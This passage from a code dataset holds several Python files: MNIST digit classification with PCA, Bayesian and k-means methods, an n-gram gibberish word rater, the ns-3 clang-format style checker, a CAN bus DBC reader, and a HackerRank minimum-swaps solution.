rowvar=False)\n diff = np.array([query - muX])\n diffT = diff.transpose()\n detX = np.linalg.det(c)\n \n matrix = (-0.5) * (np.dot(np.dot(diff, np.linalg.inv(c)), diffT))\n fraction = sampleSize/(np.sqrt(detX))\n prob = fraction * np.power(np.e, matrix)\n return prob[0][0]\n\ndef classifyBayesian(query, X, label):\n \"\"\"Using the Bayesian PDF for a normal distribution, returns the class that the query belongs to based on probability.\"\"\"\n numMatch = [[],[],[],[],[],[],[],[],[],[]]\n probabilities = list()\n for d in range(10):\n m = np.where(label == d)\n for match in m[0]:\n numMatch[d].append(X[match])\n probabilities.append(createBayesianPDF(query, numMatch[d]))\n \n probSum = np.sum(probabilities)\n maximum = -1\n endInt = -1\n for d2 in range(10):\n prob = probabilities[d2]/probSum\n if prob > maximum:\n endInt = d2\n maximum = prob\n return [endInt, maximum]\n \ndef createHistogram(bins, positiveData, negativeData, minmax1, minmax2):\n # Visible Deprecation Warning \n bins = int(bins)\n positiveHisto = np.zeros((bins, bins), dtype=int)\n negativeHisto = np.zeros((bins, bins), dtype=int)\n \n c1_Range = minmax1[1] - minmax1[0]\n c2_Range = minmax2[1] - minmax2[0]\n \n # Positive Data\n for p in positiveData:\n rowP = int(round((bins - 1) * ((p[0] - minmax1[0])/c1_Range)))\n colP = int(round((bins - 1) * ((p[1] - minmax2[0])/c2_Range)))\n positiveHisto[rowP][colP] += 1 \n \n # Negative Data\n for n in negativeData:\n rowN = int(round((bins - 1) * ((n[0] - minmax1[0])/c1_Range)))\n colN = int(round((bins - 1) * ((n[1] - minmax2[0])/c2_Range)))\n negativeHisto[rowN][colN] += 1 \n \n#==============================================================================\n# for r in range(len(negativeHisto)):\n# for c in range(negativeHisto.shape[0]):\n# print(negativeHisto[r][c], end = \" \")\n# print()\n#==============================================================================\n \n return [positiveHisto, negativeHisto]\n\n \ndef classifyHistogram(bins, query, histogram, minmax1, minmax2):\n positiveHisto = histogram[0]\n negativeHisto = histogram[1]\n \n c1_Range = minmax1[1] - minmax1[0]\n c2_Range = minmax2[1] - minmax2[0]\n \n row = int(round((bins - 1) * ((query[0] - minmax1[0])/c1_Range)))\n col = int(round((bins - 1) * ((query[1] - minmax2[0])/c2_Range)))\n \n if row < 0:\n return 0\n elif col < 0:\n return 0\n elif row > 24:\n return 0\n elif col > 24:\n return 0\n \n if (positiveHisto[row][col] + negativeHisto[row][col]) != 0: \n probP = positiveHisto[row][col]/(positiveHisto[row][col] + negativeHisto[row][col])\n probN = negativeHisto[row][col]/(positiveHisto[row][col] + negativeHisto[row][col])\n if probP > probN:\n return 1\n elif probP < probN:\n return -1\n else:\n return 0\n else:\n return 0\n#==============================================================================\n# for r in range(len(bins)):\n# for c in range(len(bins)):\n# if (positiveHisto[r][c] + negativeHisto[r][c]) == 0:\n# undecidable += 1\n# else:\n# probP = positiveHisto[r][c]/(positiveHisto[r][c] + negativeHisto[r][c])\n# probN = 1 - probP\n#==============================================================================\n\ndef num_of_Components(eigenValues, threshold=80):\n \"\"\"For a specified accuracy, returns the amount of principal components needed.\"\"\"\n sumEigen = np.sum(eigenValues)\n eigenEffectiveness = 100*(np.cumsum(eigenValues)/sumEigen)\n fig = plt.figure()\n ax = fig.gca()\n plt.plot(eigenEffectiveness)\n ax.set_xlabel(\"Index\")\n ax.set_ylabel(\"Percent of Variance Explained\")\n fig.savefig(\"ThresholdGraph.png\")\n plt.close()\n for e in range(len(eigenEffectiveness)):\n if eigenEffectiveness[e] >= threshold:\n return e\n \ndef runPCA(X, labelList, threshold=80):\n \"\"\"Runs PCA\"\"\"\n Z, mean_vector = getZ(X)\n C = getC(Z)\n theta, V = getV(C)\n P = getP(V, Z)\n #amount = num_of_Components(theta, threshold)\n #twoPrincipals = P[:, 0:num]\n #plotPC(P[:,0:1], P[:,1:2], labelList)\n return P\n\ndef kMeans(X, K=10, iterationLimit=1000, tol=10e-6):\n \"\"\"Runs kmeans clustering.\"\"\"\n # X shape is (10, 43)\n muK = list()\n \n # Initializing d-dimensional random mean data\n for i in range(K):\n randomMean = list()\n for j in range(X.shape[1]):\n jMin = np.min(X[:, j])\n jMax = np.max(X[:, j])\n randomMean.append(np.random.uniform(jMin, jMax))\n muK.append(randomMean)\n muK = np.array(muK) # (10, 43)\n \n # Initializing class labels and other parameters\n c = np.zeros([X.shape[0], 1])\n c = c.astype(int)\n error = 10000\n iterations = 0\n \n while(iterations < iterationLimit and error > tol):\n # featureVector is number of observations\n # Assign points to a class label based on distance to centroid points\n for featureVector in range(X.shape[0]):\n kmin = math.inf\n kIndex = 0\n \n # kr = clusters number\n for kr in range(K):\n dist = np.power(X[featureVector] - muK[kr], 2)\n meanSum = dist.sum()\n if (meanSum < kmin):\n kmin = meanSum\n kIndex = kr\n c[featureVector][0] = kIndex\n \n # Update Means Step\n tmpError = 0\n for kr2 in range(K):\n countIndex = np.where(c == kr2)\n if (countIndex[0].shape[0] > 0):\n indexMatch = countIndex[0]\n finalList = X[indexMatch]\n #muK2 = np.sum(finalList, axis=0)/np.sum(finalList)\n muK2 = np.mean(finalList, axis=0)\n tmpError2 = np.max(np.absolute(muK[kr2] - muK2))\n if (tmpError < tmpError2):\n tmpError = tmpError2\n muK[kr2] = muK2\n error = tmpError\n iterations += 1\n print(iterations, \" \", error)\n return c\n \ndef calculateMultiClassMetrics(classes, results, trueLabels):\n \"\"\"Calculates the PPV and accuracy values of each digit using a confusion matrix.\"\"\"\n metricDF = pd.DataFrame(0, columns=range(classes), index=range(classes))\n for r in range(len(results)):\n metricDF.iat[int(trueLabels[r]), int(results[r])] += 1\n for cols in metricDF.columns.values:\n ppv = metricDF.iat[cols, cols]/np.sum(metricDF[cols])\n print(\"PPV: \", cols, \": \", ppv)\n tempDF = metricDF.copy()\n del tempDF[cols]\n tempDF = tempDF.drop([cols])\n TN = tempDF.values.sum()\n TP = df.iat[cols, cols]\n everything = metricDF.values.sum()\n accuracy = (TP + TN)/everything\n print(\"Accuracy: \", cols, \": \", accuracy)\n return metricDF\n \nif __name__ == \"__main__\":\n\n X, imageAndlabelList = getX(range(10))\n labelList = np.array(imageAndlabelList[1])\n P = runPCA(X, labelList)\n pc = P[:, 0:44] # 44 is the optimum number of components to achieve ~80% accuracy\n \n # Uncomment to use Bayesian classifier\n#==============================================================================\n# totalSample = pc.shape[0]\n# accuracyBayesian = 0\n# for pcQuery in range(len(pc)):\n# bayesianResults = classifyBayesian(pc[pcQuery], pc, labelList)\n# if (bayesianResults[0] == labelList[pcQuery]):\n# accuracyBayesian += 1\n# print(\"Accuracy of Bayesian: \", accuracyBayesian/totalSample)\n#==============================================================================\n\n # Uncomment to use k-means classifier\n#==============================================================================\n# results = kMeans(pc, 10)\n# df = calculateMultiClassMetrics(10, results, labelList)\n# df.to_csv(\"myresults.csv\")\n#==============================================================================\n ","repo_name":"PoppinHandy/MachineLearning","sub_path":"MNIST_digits_classification.py","file_name":"MNIST_digits_classification.py","file_ext":"py","file_size_in_byte":14996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8036531587","text":"#read in data to build word scorer\nimport csv\nfrom math import log\nimport numpy as np\nimport os\n\none_gram = dict()\ntwo_gram = dict()\nwith open(os.path.join(os.getcwd(), 'gibberish/data/prob_ngrams1.csv'), 'r') as f:\n reader = csv.reader(f)\n for row in reader:\n one_gram[row[0]] = float(row[1])\n\nwith open(os.path.join(os.getcwd(), 'gibberish/data/prob_ngrams2.csv'), 'r') as f:\n reader = csv.reader(f)\n for row in reader:\n two_gram[row[0]] = float(row[1])\n\nclass WordRater:\n def __init__(self, data):\n self.one_gram, self.two_gram = data\n\n def rate(self, words):\n \"\"\"Calculate log prob summary stats for part1 and part2 plus word count\"\"\"\n part1List = []\n part2List = []\n for x in words.split(' '):\n part1 = [log(self.one_gram[y]) for y in x]\n part2 = []\n for idx, y in enumerate(x):\n if idx + 1 == len(x):\n break\n else:\n part2.append(log(self.two_gram[y+x[idx+1]]))\n part1List.append(sum(part1))\n part2List.append(sum(part2))\n\n results = [min(part1List), max(part1List), sum(part1List)/len(part1List), np.std(part1List), min(part2List), max(part2List), sum(part2List)/len(part2List), np.std(part2List), len(words.split(' '))]\n\n return(results)\n\nword_rating = WordRater([one_gram, two_gram])\n\nif __name__==\"__main__\":\n print(\"1.\", word_rating.rate(\"words here even more\"))\n print(\"2.\", word_rating.rate(\"asdfasdwer\"))\n print(\"3.\", word_rating.rate(\"zzzzzzzzzzz\"))\n","repo_name":"talkdatatome/gibberish","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35898876473","text":"import argparse\nimport concurrent.futures\nimport itertools\nimport os\nimport re\nimport shutil\nimport subprocess\nimport sys\n\nfrom typing import Callable, Dict, List, Tuple\n\n###########################################################\n# PARAMETERS\n###########################################################\nCLANG_FORMAT_VERSIONS = [\n 16,\n 15,\n 14,\n]\n\nCLANG_FORMAT_GUARD_ON = '// clang-format on'\nCLANG_FORMAT_GUARD_OFF = '// clang-format off'\n\nDIRECTORIES_TO_SKIP = [\n '__pycache__',\n '.git',\n 'bindings',\n 'build',\n 'cmake-cache',\n 'testpy-output',\n]\n\n# List of files entirely copied from elsewhere that should not be checked,\n# in order to optimize the performance of this script\nFILES_TO_SKIP = [\n 'valgrind.h',\n]\n\nFILE_EXTENSIONS_TO_CHECK_FORMATTING = [\n '.c',\n '.cc',\n '.h',\n]\n\nFILE_EXTENSIONS_TO_CHECK_INCLUDE_PREFIXES = FILE_EXTENSIONS_TO_CHECK_FORMATTING\n\nFILE_EXTENSIONS_TO_CHECK_WHITESPACE = [\n '.c',\n '.cc',\n '.click',\n '.cmake',\n '.conf',\n '.css',\n '.dot',\n '.gnuplot',\n '.gp',\n '.h',\n '.html',\n '.js',\n '.json',\n '.m',\n '.md',\n '.mob',\n '.ns_params',\n '.ns_movements',\n '.params',\n '.pl',\n '.plt',\n '.py',\n '.rst',\n '.seqdiag',\n '.sh',\n '.txt',\n '.yml',\n]\n\nFILES_TO_CHECK_WHITESPACE = [\n 'Makefile',\n 'ns3',\n]\n\nFILE_EXTENSIONS_TO_CHECK_TABS = [\n '.c',\n '.cc',\n '.h',\n '.md',\n '.py',\n '.rst',\n '.sh',\n '.yml',\n]\nTAB_SIZE = 4\n\n\n###########################################################\n# AUXILIARY FUNCTIONS\n###########################################################\ndef should_analyze_directory(dirpath: str) -> bool:\n \"\"\"\n Check whether a directory should be analyzed.\n\n @param dirpath Directory path.\n @return Whether the directory should be analyzed.\n \"\"\"\n\n _, directory = os.path.split(dirpath)\n\n return not (directory in DIRECTORIES_TO_SKIP or\n (directory.startswith('.') and directory != '.'))\n\n\ndef should_analyze_file(path: str,\n files_to_check: List[str],\n file_extensions_to_check: List[str],\n ) -> bool:\n \"\"\"\n Check whether a file should be analyzed.\n\n @param path Path to the file.\n @param files_to_check List of files that shall be checked.\n @param file_extensions_to_check List of file extensions that shall be checked.\n @return Whether the file should be analyzed.\n \"\"\"\n\n filename = os.path.split(path)[1]\n\n if filename in FILES_TO_SKIP:\n return False\n\n basename, extension = os.path.splitext(filename)\n\n return (basename in files_to_check or\n extension in file_extensions_to_check)\n\n\ndef find_files_to_check_style(paths: List[str]) -> Tuple[List[str], List[str], List[str], List[str]]:\n \"\"\"\n Find all files to be checked in a given list of paths.\n\n @param paths List of paths to the files to check.\n @return Tuple [List of files to check include prefixes,\n List of files to check formatting,\n List of files to check trailing whitespace,\n List of files to check tabs].\n \"\"\"\n\n files_to_check: List[str] = []\n\n for path in paths:\n abs_path = os.path.abspath(os.path.expanduser(path))\n\n if os.path.isfile(abs_path):\n files_to_check.append(path)\n\n elif os.path.isdir(abs_path):\n for dirpath, dirnames, filenames in os.walk(path, topdown=True):\n if not should_analyze_directory(dirpath):\n # Remove directory and its subdirectories\n dirnames[:] = []\n continue\n\n files_to_check.extend([os.path.join(dirpath, f) for f in filenames])\n\n else:\n raise ValueError(f'Error: {path} is not a file nor a directory')\n\n files_to_check.sort()\n\n files_to_check_include_prefixes: List[str] = []\n files_to_check_formatting: List[str] = []\n files_to_check_whitespace: List[str] = []\n files_to_check_tabs: List[str] = []\n\n for f in files_to_check:\n if should_analyze_file(f, [], FILE_EXTENSIONS_TO_CHECK_INCLUDE_PREFIXES):\n files_to_check_include_prefixes.append(f)\n\n if should_analyze_file(f, [], FILE_EXTENSIONS_TO_CHECK_FORMATTING):\n files_to_check_formatting.append(f)\n\n if should_analyze_file(f, FILES_TO_CHECK_WHITESPACE, FILE_EXTENSIONS_TO_CHECK_WHITESPACE):\n files_to_check_whitespace.append(f)\n\n if should_analyze_file(f, [], FILE_EXTENSIONS_TO_CHECK_TABS):\n files_to_check_tabs.append(f)\n\n return (\n files_to_check_include_prefixes,\n files_to_check_formatting,\n files_to_check_whitespace,\n files_to_check_tabs,\n )\n\n\ndef find_clang_format_path() -> str:\n \"\"\"\n Find the path to one of the supported versions of clang-format.\n If no supported version of clang-format is found, raise an exception.\n\n @return Path to clang-format.\n \"\"\"\n\n # Find exact version\n for version in CLANG_FORMAT_VERSIONS:\n clang_format_path = shutil.which(f'clang-format-{version}')\n\n if clang_format_path:\n return clang_format_path\n\n # Find default version and check if it is supported\n clang_format_path = shutil.which('clang-format')\n\n if clang_format_path:\n process = subprocess.run(\n [clang_format_path, '--version'],\n capture_output=True,\n text=True,\n check=True,\n )\n\n version = process.stdout.strip().split(' ')[-1]\n major_version = int(version.split('.')[0])\n\n if major_version in CLANG_FORMAT_VERSIONS:\n return clang_format_path\n\n # No supported version of clang-format found\n raise RuntimeError(\n f'Could not find any supported version of clang-format installed on this system. '\n f'List of supported versions: {CLANG_FORMAT_VERSIONS}.'\n )\n\n\n###########################################################\n# CHECK STYLE MAIN FUNCTIONS\n###########################################################\ndef check_style_clang_format(paths: List[str],\n enable_check_include_prefixes: bool,\n enable_check_formatting: bool,\n enable_check_whitespace: bool,\n enable_check_tabs: bool,\n fix: bool,\n verbose: bool,\n n_jobs: int = 1,\n ) -> bool:\n \"\"\"\n Check / fix the coding style of a list of files.\n\n @param paths List of paths to the files to check.\n @param enable_check_include_prefixes Whether to enable checking #include headers from the same module with the \"ns3/\" prefix.\n @param enable_check_formatting Whether to enable checking code formatting.\n @param enable_check_whitespace Whether to enable checking trailing whitespace.\n @param enable_check_tabs Whether to enable checking tabs.\n @param fix Whether to fix (True) or just check (False) the file.\n @param verbose Show the lines that are not compliant with the style.\n @param n_jobs Number of parallel jobs.\n @return Whether all files are compliant with all enabled style checks.\n \"\"\"\n\n (files_to_check_include_prefixes,\n files_to_check_formatting,\n files_to_check_whitespace,\n files_to_check_tabs) = find_files_to_check_style(paths)\n\n check_include_prefixes_successful = True\n check_formatting_successful = True\n check_whitespace_successful = True\n check_tabs_successful = True\n\n if enable_check_include_prefixes:\n check_include_prefixes_successful = check_style_files(\n '#include headers from the same module with the \"ns3/\" prefix',\n check_manually_file,\n files_to_check_include_prefixes,\n fix,\n verbose,\n n_jobs,\n respect_clang_format_guards=True,\n check_style_line_function=check_include_prefixes_line,\n )\n\n print('')\n\n if enable_check_formatting:\n check_formatting_successful = check_style_files(\n 'bad code formatting',\n check_formatting_file,\n files_to_check_formatting,\n fix,\n verbose,\n n_jobs,\n clang_format_path=find_clang_format_path(),\n )\n\n print('')\n\n if enable_check_whitespace:\n check_whitespace_successful = check_style_files(\n 'trailing whitespace',\n check_manually_file,\n files_to_check_whitespace,\n fix,\n verbose,\n n_jobs,\n respect_clang_format_guards=False,\n check_style_line_function=check_whitespace_line,\n )\n\n print('')\n\n if enable_check_tabs:\n check_tabs_successful = check_style_files(\n 'tabs',\n check_manually_file,\n files_to_check_tabs,\n fix,\n verbose,\n n_jobs,\n respect_clang_format_guards=True,\n check_style_line_function=check_tabs_line,\n )\n\n return all([\n check_include_prefixes_successful,\n check_formatting_successful,\n check_whitespace_successful,\n check_tabs_successful,\n ])\n\n\ndef check_style_files(style_check_str: str,\n check_style_file_function: Callable[..., Tuple[str, bool, List[str]]],\n filenames: List[str],\n fix: bool,\n verbose: bool,\n n_jobs: int,\n **kwargs,\n ) -> bool:\n \"\"\"\n Check / fix style of a list of files.\n\n @param style_check_str Description of the check to be performed.\n @param check_style_file_function Function used to check the file.\n @param filename Name of the file to be checked.\n @param fix Whether to fix (True) or just check (False) the file (True).\n @param verbose Show the lines that are not compliant with the style.\n @param n_jobs Number of parallel jobs.\n @param kwargs Additional keyword arguments to the check_style_file_function.\n @return Whether all files are compliant with the style.\n \"\"\"\n\n # Check files\n non_compliant_files: List[str] = []\n files_verbose_infos: Dict[str, List[str]] = {}\n\n with concurrent.futures.ProcessPoolExecutor(n_jobs) as executor:\n non_compliant_files_results = executor.map(\n check_style_file_function,\n filenames,\n itertools.repeat(fix),\n itertools.repeat(verbose),\n *[arg if isinstance(arg, list) else itertools.repeat(arg) for arg in kwargs.values()],\n )\n\n for (filename, is_file_compliant, verbose_infos) in non_compliant_files_results:\n if not is_file_compliant:\n non_compliant_files.append(filename)\n\n if verbose:\n files_verbose_infos[filename] = verbose_infos\n\n # Output results\n if not non_compliant_files:\n print(f'- No files detected with {style_check_str}')\n return True\n\n else:\n n_non_compliant_files = len(non_compliant_files)\n\n if fix:\n print(f'- Fixed {style_check_str} in the files ({n_non_compliant_files}):')\n else:\n print(f'- Detected {style_check_str} in the files ({n_non_compliant_files}):')\n\n for f in non_compliant_files:\n if verbose:\n print(*[f' {l}' for l in files_verbose_infos[f]], sep='\\n')\n else:\n print(f' - {f}')\n\n # If all files were fixed, there are no more non-compliant files\n return fix\n\n\n###########################################################\n# CHECK STYLE FUNCTIONS\n###########################################################\ndef check_formatting_file(filename: str,\n fix: bool,\n verbose: bool,\n clang_format_path: str,\n ) -> Tuple[str, bool, List[str]]:\n \"\"\"\n Check / fix the coding style of a file with clang-format.\n\n @param filename Name of the file to be checked.\n @param fix Whether to fix (True) or just check (False) the style of the file (True).\n @param verbose Show the lines that are not compliant with the style.\n @param clang_format_path Path to clang-format.\n @return Tuple [Filename,\n Whether the file is compliant with the style (before the check),\n Verbose information].\n \"\"\"\n\n verbose_infos: List[str] = []\n\n # Check if the file is well formatted\n process = subprocess.run(\n [\n clang_format_path,\n filename,\n '-style=file',\n '--dry-run',\n '--Werror',\n # Optimization: In non-verbose mode, only one error is needed to check that the file is not compliant\n f'--ferror-limit={0 if verbose else 1}',\n ],\n check=False,\n capture_output=True,\n text=True,\n )\n\n is_file_compliant = (process.returncode == 0)\n\n if verbose:\n verbose_infos = process.stderr.splitlines()\n\n # Fix file\n if fix and not is_file_compliant:\n process = subprocess.run(\n [\n clang_format_path,\n filename,\n '-style=file',\n '-i',\n ],\n check=False,\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n )\n\n return (filename, is_file_compliant, verbose_infos)\n\n\ndef check_manually_file(filename: str,\n fix: bool,\n verbose: bool,\n respect_clang_format_guards: bool,\n check_style_line_function: Callable[[str, str, int], Tuple[bool, str, List[str]]],\n ) -> Tuple[str, bool, List[str]]:\n \"\"\"\n Check / fix a file manually using a function to check / fix each line.\n\n @param filename Name of the file to be checked.\n @param fix Whether to fix (True) or just check (False) the style of the file (True).\n @param verbose Show the lines that are not compliant with the style.\n @param respect_clang_format_guards Whether to respect clang-format guards.\n @param check_style_line_function Function used to check each line.\n @return Tuple [Filename,\n Whether the file is compliant with the style (before the check),\n Verbose information].\n \"\"\"\n\n is_file_compliant = True\n verbose_infos: List[str] = []\n clang_format_enabled = True\n\n with open(filename, 'r', encoding='utf-8') as f:\n file_lines = f.readlines()\n\n for (i, line) in enumerate(file_lines):\n\n # Check clang-format guards\n if respect_clang_format_guards:\n line_stripped = line.strip()\n\n if line_stripped == CLANG_FORMAT_GUARD_ON:\n clang_format_enabled = True\n elif line_stripped == CLANG_FORMAT_GUARD_OFF:\n clang_format_enabled = False\n\n if (not clang_format_enabled and\n line_stripped not in (CLANG_FORMAT_GUARD_ON, CLANG_FORMAT_GUARD_OFF)):\n continue\n\n # Check if the line is compliant with the style and fix it\n (is_line_compliant, line_fixed, line_verbose_infos) = check_style_line_function(line, filename, i)\n\n if not is_line_compliant:\n is_file_compliant = False\n file_lines[i] = line_fixed\n verbose_infos.extend(line_verbose_infos)\n\n # Optimization: If running in non-verbose check mode, only one error is needed to check that the file is not compliant\n if not fix and not verbose:\n break\n\n # Update file with the fixed lines\n if fix and not is_file_compliant:\n with open(filename, 'w', encoding='utf-8') as f:\n f.writelines(file_lines)\n\n return (filename, is_file_compliant, verbose_infos)\n\n\ndef check_include_prefixes_line(line: str,\n filename: str,\n line_number: int,\n ) -> Tuple[bool, str, List[str]]:\n \"\"\"\n Check / fix #include headers from the same module with the \"ns3/\" prefix in a line.\n\n @param line The line to check.\n @param filename Name of the file to be checked.\n @param line_number The number of the line checked.\n @return Tuple [Whether the line is compliant with the style (before the check),\n Fixed line,\n Verbose information].\n \"\"\"\n\n is_line_compliant = True\n line_fixed = line\n verbose_infos: List[str] = []\n\n # Check if the line is an #include and extract its header file\n line_stripped = line.strip()\n header_file = re.findall(r'^#include [\"<]ns3/(.*\\.h)[\">]', line_stripped)\n\n if header_file:\n # Check if the header file belongs to the same module and remove the \"ns3/\" prefix\n header_file = header_file[0]\n parent_path = os.path.split(filename)[0]\n\n if os.path.exists(os.path.join(parent_path, header_file)):\n is_line_compliant = False\n line_fixed = line_stripped.replace(\n f'ns3/{header_file}', header_file).replace('<', '\"').replace('>', '\"') + '\\n'\n\n header_index = len('#include \"')\n\n verbose_infos.extend([\n f'{filename}:{line_number + 1}:{header_index + 1}: error: #include headers from the same module with the \"ns3/\" prefix detected',\n f' {line_stripped}',\n f' {\"\":{header_index}}^',\n ])\n\n return (is_line_compliant, line_fixed, verbose_infos)\n\n\ndef check_whitespace_line(line: str,\n filename: str,\n line_number: int,\n ) -> Tuple[bool, str, List[str]]:\n \"\"\"\n Check / fix whitespace in a line.\n\n @param line The line to check.\n @param filename Name of the file to be checked.\n @param line_number The number of the line checked.\n @return Tuple [Whether the line is compliant with the style (before the check),\n Fixed line,\n Verbose information].\n \"\"\"\n\n is_line_compliant = True\n line_fixed = line.rstrip() + '\\n'\n verbose_infos: List[str] = []\n\n if line_fixed != line:\n is_line_compliant = False\n line_fixed_stripped_expanded = line_fixed.rstrip().expandtabs(TAB_SIZE)\n\n verbose_infos = [\n f'{filename}:{line_number + 1}:{len(line_fixed_stripped_expanded) + 1}: error: Trailing whitespace detected',\n f' {line_fixed_stripped_expanded}',\n f' {\"\":{len(line_fixed_stripped_expanded)}}^',\n ]\n\n return (is_line_compliant, line_fixed, verbose_infos)\n\n\ndef check_tabs_line(line: str,\n filename: str,\n line_number: int,\n ) -> Tuple[bool, str, List[str]]:\n \"\"\"\n Check / fix tabs in a line.\n\n @param line The line to check.\n @param filename Name of the file to be checked.\n @param line_number The number of the line checked.\n @return Tuple [Whether the line is compliant with the style (before the check),\n Fixed line,\n Verbose information].\n \"\"\"\n\n is_line_compliant = True\n line_fixed = line\n verbose_infos: List[str] = []\n\n tab_index = line.find('\\t')\n\n if tab_index != -1:\n is_line_compliant = False\n line_fixed = line.expandtabs(TAB_SIZE)\n\n verbose_infos = [\n f'{filename}:{line_number + 1}:{tab_index + 1}: error: Tab detected',\n f' {line.rstrip()}',\n f' {\"\":{tab_index}}^',\n ]\n\n return (is_line_compliant, line_fixed, verbose_infos)\n\n\n###########################################################\n# MAIN\n###########################################################\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(\n description='Check and apply the ns-3 coding style recursively to all files in the given PATHs. '\n 'The script checks the formatting of the file with clang-format. '\n 'Additionally, it checks #include headers from the same module with the \"ns3/\" prefix, '\n 'the presence of trailing whitespace and tabs. '\n 'Formatting, local #include \"ns3/\" prefixes and tabs checks respect clang-format guards. '\n 'When used in \"check mode\" (default), the script checks if all files are well '\n 'formatted and do not have trailing whitespace nor tabs. '\n 'If it detects non-formatted files, they will be printed and this process exits with a '\n 'non-zero code. When used in \"fix mode\", this script automatically fixes the files.')\n\n parser.add_argument('paths', action='store', type=str, nargs='+',\n help='List of paths to the files to check')\n\n parser.add_argument('--no-include-prefixes', action='store_true',\n help='Do not check / fix #include headers from the same module with the \"ns3/\" prefix')\n\n parser.add_argument('--no-formatting', action='store_true',\n help='Do not check / fix code formatting')\n\n parser.add_argument('--no-whitespace', action='store_true',\n help='Do not check / fix trailing whitespace')\n\n parser.add_argument('--no-tabs', action='store_true',\n help='Do not check / fix tabs')\n\n parser.add_argument('--fix', action='store_true',\n help='Fix coding style issues detected in the files')\n\n parser.add_argument('-v', '--verbose', action='store_true',\n help='Show the lines that are not well-formatted')\n\n parser.add_argument('-j', '--jobs', type=int, default=max(1, os.cpu_count() - 1),\n help='Number of parallel jobs')\n\n args = parser.parse_args()\n\n try:\n all_checks_successful = check_style_clang_format(\n paths=args.paths,\n enable_check_include_prefixes=(not args.no_include_prefixes),\n enable_check_formatting=(not args.no_formatting),\n enable_check_whitespace=(not args.no_whitespace),\n enable_check_tabs=(not args.no_tabs),\n fix=args.fix,\n verbose=args.verbose,\n n_jobs=args.jobs,\n )\n\n except Exception as e:\n print(e)\n sys.exit(1)\n\n if all_checks_successful:\n sys.exit(0)\n else:\n sys.exit(1)\n","repo_name":"nsnam/ns-3-dev-git","sub_path":"utils/check-style-clang-format.py","file_name":"check-style-clang-format.py","file_ext":"py","file_size_in_byte":22544,"program_lang":"python","lang":"en","doc_type":"code","stars":355,"dataset":"github-code","pt":"3"} +{"seq_id":"3780370625","text":"import threading\nimport time\nimport logging\nfrom queue import Queue\nfrom dbcfeederlib import dbc2vssmapper\nfrom dbcfeederlib import canclient\n\nlog = logging.getLogger(__name__)\n\n\nclass DBCReader:\n def __init__(self, rxqueue: Queue, mapper, dbc_parser):\n self.queue = rxqueue\n self.mapper = mapper\n self.dbc_parser = dbc_parser\n self.canidwl = self.get_whitelist()\n log.info(\"CAN ID whitelist={}\".format(self.canidwl))\n self.run = True\n self.canclient = None\n\n def start_listening(self, *args, **kwargs):\n \"\"\"Start listening to CAN bus\n\n Arguments are passed directly to :class:`can.BusABC`. Typically these\n may include:\n\n :param channel:\n Backend specific channel for the CAN interface.\n :param str bustype:\n Name of the interface. See\n `python-can manual `__\n for full list of supported interfaces.\n :param int bitrate:\n Bitrate in bit/s.\n \"\"\"\n self.canclient = canclient.CANClient(*args, **kwargs)\n rx_thread = threading.Thread(target=self.rx_worker)\n rx_thread.start()\n\n def get_whitelist(self):\n log.info(\"Generating CAN ID whitelist\")\n white_list = []\n for entry in self.mapper.get_dbc2val_entries():\n canid = self.dbc_parser.get_canid_for_signal(entry)\n if canid is not None and canid not in white_list:\n log.info(f\"Adding {entry} to white list, canid is {canid}\")\n white_list.append(canid)\n return white_list\n\n def rx_worker(self):\n log.info(\"Starting Rx thread\")\n while self.run:\n msg = self.canclient.recv(timeout=1)\n log.debug(\"processing message from CAN bus\")\n if msg and msg.get_arbitration_id() in self.canidwl:\n try:\n decode = self.dbc_parser.db.decode_message(msg.get_arbitration_id(), msg.get_data())\n log.debug(\"Decoded message: %s\", str(decode))\n except Exception:\n log.warning(\n \"Error Decoding: ID:{}\".format(msg.get_arbitration_id()),\n exc_info=True,\n )\n continue\n rx_time = time.time()\n for k, v in decode.items():\n vss_mappings = self.mapper.get_dbc2val_mappings(k)\n for signal in vss_mappings:\n if signal.time_condition_fulfilled(rx_time):\n log.debug(f\"Queueing {signal.vss_name}, triggered by {k}, raw value {v} \")\n self.queue.put(dbc2vssmapper.VSSObservation(k, signal.vss_name, v, rx_time))\n else:\n log.debug(f\"Ignoring {signal.vss_name}, triggered by {k}, raw value {v} \")\n log.info(\"Stopped Rx thread\")\n\n def stop(self):\n self.run = False\n","repo_name":"lukasmittag/kuksa.val.feeders","sub_path":"dbc2val/dbcfeederlib/dbcreader.py","file_name":"dbcreader.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"39983644254","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# https://www.hackerrank.com/challenges/minimum-swaps-2/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=arrays\n\n# Complete the minimumSwaps function below.\ndef minimumSwaps(arr):\n vis = {k:False for k in range(1, len(arr) + 1)}\n arrops = [(i, v) for i, v in enumerate(arr, 1)]\n arrops.sort(key = lambda x: x[1])\n ans = 0\n for i in range(1, n):\n ind, val = arrops[i - 1]\n if ind != val and vis[i] == False:\n j = i\n cycle_size = 0\n while not vis[j]:\n ind, val = arrops[j - 1]\n vis[val] = True\n j = ind\n cycle_size += 1\n ans += cycle_size - 1\n return ans\n\n#my own code\n# def minimumSwaps(arr):\n# b = arr.copy()\n# b.sort()\n# cnt = 0\n# s = []\n\n# g = dict(zip(b, arr))\n\n# unvisit = set(arr)\n\n# while len(unvisit) != 0:\n# t = unvisit.pop()\n# s = [t]\n# while len(s) != 0 and g[s[-1]] != s[0]:\n# unvisit.remove(g[s[-1]])\n# s.append(g[s[-1]])\n# cnt += 1\n \n# return cnt\n\n\nif __name__ == '__main__':\n # fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n res = minimumSwaps(arr)\n\n print(res)","repo_name":"Alwaysproblem/simplecode","sub_path":"interview/minimumSwap.py","file_name":"minimumSwap.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"15942121556","text":"import os\nimport matplotlib.pyplot as 